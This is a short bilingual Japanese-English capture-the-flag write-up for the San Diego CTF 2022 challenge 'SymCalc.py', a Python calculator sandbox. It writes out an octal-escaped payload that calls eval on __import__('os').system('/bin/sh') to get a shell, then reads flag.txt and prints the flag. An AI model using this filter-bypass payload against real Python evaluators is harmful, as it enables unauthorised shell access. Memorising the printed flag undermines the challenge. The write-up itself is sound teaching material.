SymCalc.py

TCPサーバの接続情報と、ファイル symcalc.py が与えられた。

サーバに接続してみると、まず単語の入力を要求された。
ここで入力した単語が表すオブジェクトが _ の初期値になるようであった。
その後は、記号と数字のみからなるPythonの式を入力して実行できるようだった。

まず、CyberChef__import__("os").system("/bin/sh") の8進数表記を求めた。

Information to connect to a TCP server and a file symcalc.py were given.

Connecting to the server, firstly I was asked to enter a word.
The object that corresponds to this word looked used as the initial value of _.
After that, it accepted Python expressions that consist of only digits and marks to execute.

Firstly, I obtained the octal representation of __import__("os").system("/bin/sh") using CyberChef.

To Octal, 3 more - CyberChef

最初の単語として eval を入力し、続いて以下の式を実行することで、シェルを起動できた。

I succeeded to launch the shell by entering eval as the first word, and then executing this expression:

_("\137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\163\171\163\164\145\155\050\042\057\142\151\156\057\163\150\042\051")

起動したシェルで ls -al コマンドを実行することで、ファイル flag.txt があることがわかった。
cat flag.txt コマンドを実行すると、flagが得られた。

I found that a file flag.txt exists via ls -al command on the shell.
I obtained the flag via cat flag.txt command.

sdctf{0ct4l_3scap3s_go_brrrrr...___und3rsc0r3s_ar3_Id3Nt1Fi3rs_t00}

San Diego CTF 2022